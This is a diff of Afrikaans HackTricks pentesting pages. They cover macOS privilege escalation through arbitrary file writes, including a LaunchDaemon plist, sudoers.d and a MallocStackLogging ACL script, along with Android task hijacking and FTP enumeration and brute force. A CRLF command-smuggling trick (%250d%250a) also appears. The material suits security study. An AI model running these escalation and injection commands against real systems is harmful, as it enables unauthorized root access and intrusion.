||||
|
||||
## Willekeurige Skrywes
|
||||
## Willekeurige Skryfaksies
|
||||
|
||||
### Periodieke sh-skripte
|
||||
|
||||
As jou skrip geïnterpreteer kan word as 'n **shell-skrip**, kan jy die **`/etc/periodic/daily/999.local`** shell-skrip oorskryf wat elke dag geaktiveer sal word.
|
||||
As jou skripsie geïnterpreteer kan word as 'n **shell-skripsie** kan jy die **`/etc/periodic/daily/999.local`** shell-skripsie oorskryf wat elke dag geaktiveer sal word.
|
||||
|
||||
Jy kan 'n **gefake** uitvoering van hierdie skrip maak met: **`sudo periodic daily`**
|
||||
Jy kan 'n **nep** uitvoering van hierdie skripsie maak met: **`sudo periodic daily`**
|
||||
|
||||
### Daemons
|
||||
|
||||
Skryf 'n willekeurige **LaunchDaemon** soos **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** met 'n plist wat 'n willekeurige skrip uitvoer, soos:
|
||||
Skryf 'n willekeurige **LaunchDaemon** soos **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** met 'n plist wat 'n willekeurige skripsie uitvoer soos:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -262,32 +260,46 @@ Skryf 'n willekeurige **LaunchDaemon** soos **`/Library/LaunchDaemons/xyz.hacktr
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Net genereer die skrip `/Applications/Scripts/privesc.sh` met die **opdragte** wat jy as root wil uitvoer.
|
||||
### Genereer die skrip `/Applications/Scripts/privesc.sh` met die **opdragte** wat jy as root wil hardloop.
|
||||
|
||||
### Sudoers-lêer
|
||||
|
||||
As jy **arbitrêre skryfregte** het, kan jy 'n lêer binne die **`/etc/sudoers.d/`**-map skep wat jou **sudo**-bevoegdhede gee.
|
||||
As jy **willekeurige skryfregte** het, kan jy 'n lêer binne die vouer **`/etc/sudoers.d/`** skep wat jou **sudo**-bevoegdhede gee.
|
||||
|
||||
### PATH-lêers
|
||||
### PAD-lêers
|
||||
|
||||
Die lêer **`/etc/paths`** is een van die belangrikste plekke wat die PATH-omgewingsveranderlike vul. Jy moet root wees om dit te oorskryf, maar as 'n skrip van 'n **bevoorregte proses** 'n **opdrag sonder die volledige pad** uitvoer, kan jy dit dalk **kaap** deur hierdie lêer te wysig.
|
||||
Die lêer **`/etc/paths`** is een van die hoofplekke wat die PAD-omgewingsveranderlike populeer. Jy moet root wees om dit te oorskryf, maar as 'n skrip van 'n **bevoorregte proses** 'n **opdrag sonder die volledige pad** uitvoer, kan jy dit dalk **kaap** deur hierdie lêer te wysig.
|
||||
|
||||
 Jy kan ook lêers skryf in **`/etc/paths.d`** om nuwe mappe in die `PATH`-omgewingsveranderlike te laai.
|
||||
Jy kan ook lêers skryf in **`/etc/paths.d`** om nuwe vouers in die `PAD`-omgewingsveranderlike te laai.
|
||||
|
||||
## Genereer skryfbare lêers as ander gebruikers
|
||||
|
||||
Dit sal 'n lêer genereer wat aan root behoort en deur my geskryf kan word ([**kode vanaf hier**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew\_lpe.sh)). Dit kan ook werk as 'n privesc:
|
||||
```bash
|
||||
DIRNAME=/usr/local/etc/periodic/daily
|
||||
|
||||
mkdir -p "$DIRNAME"
|
||||
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"
|
||||
|
||||
MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername
|
||||
|
||||
FILENAME=$(ls "$DIRNAME")
|
||||
echo $FILENAME
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
* [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,85 +1,71 @@
|
|||
# Android Taak Oorname
|
||||
# Android Taakontvoering
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil hê jou **maatskappy geadverteer moet word in HackTricks** of **HackTricks in PDF aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
## Taak, Agterstapel en Voorgrondaktiwiteite
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
In Android is 'n **taak** essensieel 'n stel aktiwiteite waarmee gebruikers interaksie het om 'n spesifieke taak te voltooi, georganiseer binne 'n **agterstapel**. Hierdie stapel rangskik aktiwiteite op grond van wanneer hulle geopen is, met die mees onlangse aktiwiteit bo-aan as die **voorgrondaktiwiteit**. Op enige oomblik is slegs hierdie aktiwiteit sigbaar op die skerm, wat deel is van die **voorgrondtaak**.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
Hier is 'n vinnige uiteensetting van aktiwiteitsoorgange:
|
||||
|
||||
***
|
||||
* **Aktiwiteit 1** begin as die enigste aktiwiteit in die voorgrond.
|
||||
* Die begin van **Aktiwiteit 2** stoot **Aktiwiteit 1** na die agterstapel, bring **Aktiwiteit 2** na die voorgrond.
|
||||
* Die begin van **Aktiwiteit 3** skuif **Aktiwiteit 1** en **Aktiwiteit 2** verder terug in die stapel, met **Aktiwiteit 3** nou voor.
|
||||
* Die sluiting van **Aktiwiteit 3** bring **Aktiwiteit 2** terug na die voorgrond, wat Android se gestroomlynde taaknavigasiemeganisme demonstreer.
|
||||
|
||||
## Taak, Agterste Stapel en Voorgrondaktiwiteite
|
||||
|
||||
In Android is 'n **taak** essensieel 'n stel aktiwiteite waarmee gebruikers interaksie het om 'n spesifieke taak te voltooi, georganiseer binne 'n **agterste stapel**. Hierdie stapel rangskik aktiwiteite op grond van wanneer hulle geopen is, met die mees onlangse aktiwiteit wat bo-aan as die **voorgrondaktiwiteit** vertoon word. Op enige oomblik is slegs hierdie aktiwiteit sigbaar op die skerm, wat dit deel van die **voorgrondtaak** maak.
|
||||
|
||||
Hier is 'n vinnige oorsig van aktiwiteitsoorgange:
|
||||
|
||||
- **Aktiwiteit 1** begin as die enigste aktiwiteit in die voorgrond.
|
||||
- Die begin van **Aktiwiteit 2** druk **Aktiwiteit 1** na die agterste stapel en bring **Aktiwiteit 2** na die voorgrond.
|
||||
- Die begin van **Aktiwiteit 3** skuif **Aktiwiteit 1** en **Aktiwiteit 2** verder terug in die stapel, met **Aktiwiteit 3** nou vooraan.
|
||||
- Die sluit van **Aktiwiteit 3** bring **Aktiwiteit 2** terug na die voorgrond, wat Android se gestroomlynste taaknavigasiemeganisme uitstal.
|
||||
|
||||
![https://developer.android.com/images/fundamentals/diagram_backstack.png](<../../.gitbook/assets/image (548).png>)
|
||||
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (548).png>)
|
||||
|
||||
## Taakverwantskapaanval
|
||||
|
||||
### Oorsig van Taakverwantskap en Beginmodusse
|
||||
|
||||
In Android-toepassings spesifiseer **taakverwantskap** gewoonlik die voorkeurstaak van 'n aktiwiteit, wat tipies ooreenstem met die toep se pakketsnaam. Hierdie opset is instrumenteel om 'n bewys-van-konsep (PoC) -toep vir die aanval te skep.
|
||||
In Android-toepassings spesifiseer **taakverwantskap** 'n aktiwiteit se verkose taak, wat tipies ooreenstem met die toep se pakkernaam. Hierdie opstelling is instrumenteel om 'n bewys-van-konsep (PoC) -toep vir die aanval te skep.
|
||||
|
||||
### Beginmodusse
|
||||
|
||||
Die `launchMode`-eienskap rig die hantering van aktiwiteitsinstansies binne take. Die **singleTask**-modus is noodsaaklik vir hierdie aanval en bepaal drie scenario's gebaseer op die bestaande aktiwiteitsinstansies en taakverwantskapsooreenkomste. Die uitbuiting steun op die vermoë van 'n aanvaller se toep om die taakverwantskap van die teiken-toep na te boots, wat die Android-stelsel mislei om die aanvaller se toep in plaas van die beoogde teiken te begin.
|
||||
Die `launchMode`-eienskap rig die hantering van aktiwiteitsinstansies binne take. Die **singleTask**-modus is noodsaaklik vir hierdie aanval, wat drie scenario's bepaal op grond van die bestaande aktiwiteitsinstansies en taakverwantskapsooreenkomste. Die uitbuiting steun op die vermoë van 'n aanvaller se toep om die teikentoep se taakverwantskap na te boots, wat die Android-stelsel mislei om die aanvaller se toep in plaas van die beoogde teiken te begin.
|
||||
|
||||
### Gedetailleerde Aanvalstappe
|
||||
### Gedetailleerde Aanvalsstappe
|
||||
|
||||
1. **Installering van Skadelike Toep**: Die slagoffer installeer die aanvaller se toep op hul toestel.
|
||||
2. **Aanvanklike Aktivering**: Die slagoffer maak die skadelike toep vir die eerste keer oop, wat die toestel gereed maak vir die aanval.
|
||||
3. **Poging tot Begin van Teiken Toep**: Die slagoffer probeer die teiken toep oopmaak.
|
||||
4. **Oorname-uitvoering**: As gevolg van die ooreenstemmende taakverwantskap word die skadelike toep begin in plaas van die teiken toep.
|
||||
5. **Misleiding**: Die skadelike toep vertoon 'n vals aantekeningskerm wat lyk na die teiken toep, wat die gebruiker mislei om sensitiewe inligting in te voer.
|
||||
1. **Boosaardige Toepinstallasie**: Die slagoffer installeer die aanvaller se toep op hul toestel.
|
||||
2. **Aanvanklike Aktivering**: Die slagoffer open eers die boosaardige toep, wat die toestel gereed maak vir die aanval.
|
||||
3. **Teikentoepbeginpoging**: Die slagoffer probeer om die teikentoep te begin.
|
||||
4. **Ontvoeringsuitvoering**: As gevolg van die ooreenstemmende taakverwantskap, word die boosaardige toep in plaas van die teikentoep begin.
|
||||
5. **Misleiding**: Die boosaardige toep vertoon 'n valse aanmeldingskerm wat lyk soos die teikentoep, wat die gebruiker mislei om sensitiewe inligting in te voer.
|
||||
|
||||
Vir 'n praktiese implementering van hierdie aanval, verwys na die Task Hijacking Strandhogg-opberging op GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg).
|
||||
Vir 'n praktiese implementering van hierdie aanval, verwys na die Task Hijacking Strandhogg-opslag op GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
|
||||
|
||||
### Voorkomingsmaatreëls
|
||||
|
||||
Om sulke aanvalle te voorkom, kan ontwikkelaars `taskAffinity` instel op 'n leë string en kies vir die `singleInstance`-beginmodus, wat verseker dat hul toepassing geïsoleer is van ander. Die aanpassing van die `onBackPressed()`-funksie bied addisionele beskerming teen taakoorname.
|
||||
Om sulke aanvalle te voorkom, kan ontwikkelaars `taskAffinity` op 'n leë string instel en kies vir die `singleInstance`-beginmodus, wat verseker dat hul toep geïsoleer is van ander. Die aanpassing van die `onBackPressed()`-funksie bied addisionele beskerming teen taakontvoering.
|
||||
|
||||
## **Verwysings**
|
||||
|
||||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil hê jou **maatskappy geadverteer moet word in HackTricks** of **HackTricks in PDF aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,28 +2,20 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Werk jy in 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Die **File Transfer Protocol (FTP)** dien as 'n standaardprotokol vir die oordrag van lêers oor 'n rekenaarstelsel tussen 'n bediener en 'n kliënt.\
|
||||
Dit is 'n **plain-text**-protokol wat gebruik maak van die **new line character `0x0d 0x0a`**, so soms moet jy **verbind met behulp van `telnet`** of **`nc -C`**.
|
||||
Die **Lêer-oordrag-protokol (FTP)** dien as 'n standaardprotokol vir lêeroordrag oor 'n rekenaarnetwerk tussen 'n bediener en 'n klient.\
|
||||
Dit is 'n **teksgebaseerde** protokol wat die **nuwe lynkarakter `0x0d 0x0a`** gebruik, sodat jy soms moet **verbind deur `telnet`** of **`nc -C`**.
|
||||
|
||||
**Verstekpoort:** 21
|
||||
```
|
||||
|
@ -32,17 +24,17 @@ PORT STATE SERVICE
|
|||
```
|
||||
### Verbindings Aktief & Passief
|
||||
|
||||
In **Aktiewe FTP** inisieer die FTP **kliënt** eers die beheer **verbindings** vanaf sy poort N na die FTP-bediener se bevelspoort - poort 21. Die **kliënt** luister dan na poort **N+1** en stuur die poort N+1 na die FTP-bediener. Die FTP **Bediener** inisieer dan die data **verbindings**, vanaf **sy poort M na die poort N+1** van die FTP-kliënt.
|
||||
In **Aktiewe FTP** inisieer die FTP **klient** eerste die beheer **verbindings** vanaf sy poort N na die FTP-bediener se bevelspoort - poort 21. Die **klient** luister dan na poort **N+1** en stuur die poort N+1 na die FTP-bediener. FTP **Bediener** inisieer dan die data **verbindings**, vanaf **sy poort M na die poort N+1** van die FTP-klient.
|
||||
|
||||
Maar, as die FTP-kliënt 'n vuurwal opset wat die inkomende data-verbindings van buite beheer, kan aktiewe FTP 'n probleem wees. En 'n uitvoerbare oplossing hiervoor is Passiewe FTP.
|
||||
Maar, as die FTP-klient 'n firewall-opstelling het wat die inkomende data-verbindings van buite beheer, kan aktiewe FTP 'n probleem wees. En 'n uitvoerbare oplossing vir dit is Passiewe FTP.
|
||||
|
||||
In **Passiewe FTP** inisieer die kliënt die beheer verbindings vanaf sy poort N na die poort 21 van die FTP-bediener. Hierna gee die kliënt 'n **passv bevel** uit. Die bediener stuur dan een van sy poortnommers M na die kliënt. En die **kliënt** inisieer die data **verbindings** vanaf **sy poort P na poort M** van die FTP-bediener.
|
||||
In **Passiewe FTP** inisieer die klient die beheer verbindings vanaf sy poort N na poort 21 van die FTP-bediener. Hierna gee die klient 'n **passv bevel** uit. Die bediener stuur dan die klient een van sy poortnommer M. En die **klient** **inisieer** die data **verbindings** vanaf **sy poort P na poort M** van die FTP-bediener.
|
||||
|
||||
Bron: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
### Verbindingsfoutopsporing
|
||||
|
||||
Die **FTP** opdragte **`debug`** en **`trace`** kan gebruik word om te sien **hoe die kommunikasie plaasvind**.
|
||||
Die **FTP** bevele **`debug`** en **`trace`** kan gebruik word om te sien **hoe die kommunikasie plaasvind**.
|
||||
|
||||
## Enumerasie
|
||||
|
||||
|
@ -51,16 +43,7 @@ Die **FTP** opdragte **`debug`** en **`trace`** kan gebruik word om te sien **ho
|
|||
nc -vn <IP> 21
|
||||
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
|
||||
```
|
||||
### Koppel aan FTP met behulp van starttls
|
||||
|
||||
Om verbinding te maken met een FTP-server met behulp van starttls, moet je de volgende stappen volgen:
|
||||
|
||||
1. Gebruik een FTP-client zoals FileZilla of de commandoregelclient `ftp` om verbinding te maken met de FTP-server.
|
||||
2. Verifieer of de FTP-server starttls ondersteunt. Dit kan worden gecontroleerd door de server te pingen of door de documentatie van de server te raadplegen.
|
||||
3. Als de server starttls ondersteunt, moet je de FTP-client configureren om starttls te gebruiken. Dit kan meestal worden gedaan via de instellingen van de FTP-client.
|
||||
4. Zodra starttls is ingeschakeld, kun je verbinding maken met de FTP-server zoals je normaal zou doen. De starttls-functie zorgt ervoor dat de communicatie tussen de client en de server wordt versleuteld.
|
||||
|
||||
Het gebruik van starttls bij het verbinden met een FTP-server zorgt ervoor dat je gegevens veilig worden verzonden en beschermd zijn tegen afluisteren of onderschepping door kwaadwillende partijen.
|
||||
### Verbind met FTP deur starttls te gebruik
|
||||
```
|
||||
lftp
|
||||
lftp :~> set ftp:ssl-force true
|
||||
|
@ -70,7 +53,7 @@ lftp 10.10.10.208:~> login
|
|||
Usage: login <user|URL> [<pass>]
|
||||
lftp 10.10.10.208:~> login username Password
|
||||
```
|
||||
### Ongeoorloofde enumerasie
|
||||
### Ongeautoriseerde enum
|
||||
|
||||
Met **nmap**
|
||||
```bash
|
||||
|
@ -128,9 +111,9 @@ ftp <IP>
|
|||
```
|
||||
### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp)
|
||||
|
||||
Hier kan jy 'n mooi lys vind met verstek ftp-geloofsbriewe: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
Hier kan jy 'n mooi lys met verstek ftp-gedragskode vind: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
|
||||
### Outomaties
|
||||
### Geoutomatiseerd
|
||||
|
||||
Anon login en bounce FTP kontroles word standaard uitgevoer deur nmap met die **-sC** opsie of:
|
||||
```bash
|
||||
|
@ -138,18 +121,18 @@ nmap --script ftp-* -p 21 <ip>
|
|||
```
|
||||
## Blaaier verbinding
|
||||
|
||||
Jy kan 'n FTP-bediener verbind met 'n blaaier (soos Firefox) deur gebruik te maak van 'n URL soos:
|
||||
Jy kan met 'n blaaier (soos Firefox) na 'n FTP-bediener verbind deur 'n URL soos die volgende te gebruik:
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Merk op dat as 'n **webtoepassing** data wat deur 'n gebruiker beheer word **direk na 'n FTP-bediener** gestuur word, kan jy dubbele URL-kodering `%0d%0a` (in dubbele URL-kodering is dit `%250d%250a`) byte stuur en die **FTP-bediener arbitrêre aksies laat uitvoer**. Een van hierdie moontlike arbitrêre aksies is om inhoud van 'n gebruiker se beheerde bediener af te laai, poortskandering uit te voer of te probeer kommunikeer met ander dienste wat op platte teks gebaseer is (soos http).
|
||||
Merk op dat as 'n **webtoepassing** data wat deur 'n gebruiker beheer word direk na 'n FTP-bediener stuur, kan jy dubbel URL-kodeer `%0d%0a` (in dubbel URL-kodeer is dit `%250d%250a`) bytes stuur en die **FTP-bediener arbitrêre aksies laat uitvoer**. Een van hierdie moontlike arbitrêre aksies is om inhoud van 'n gebruiker beheerde bediener af te laai, poortskandering uit te voer of te probeer om met ander teksgebaseerde dienste (soos http) te kommunikeer.
|
||||
|
||||
## Laai alle lêers vanaf FTP af
|
||||
```bash
|
||||
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
|
||||
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
|
||||
```
|
||||
As jou gebruikersnaam/wagwoord spesiale karakters bevat, kan die [volgende opdrag](https://stackoverflow.com/a/113900/13647948) gebruik word:
|
||||
Indien jou gebruikersnaam/wagwoord spesiale karakters het, kan die [volgende bevel](https://stackoverflow.com/a/113900/13647948) gebruik word:
|
||||
```bash
|
||||
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
```
|
||||
|
@ -158,85 +141,81 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
* **`USER gebruikersnaam`**
|
||||
* **`PASS wagwoord`**
|
||||
* **`HELP`** Die bediener dui aan watter opdragte ondersteun word
|
||||
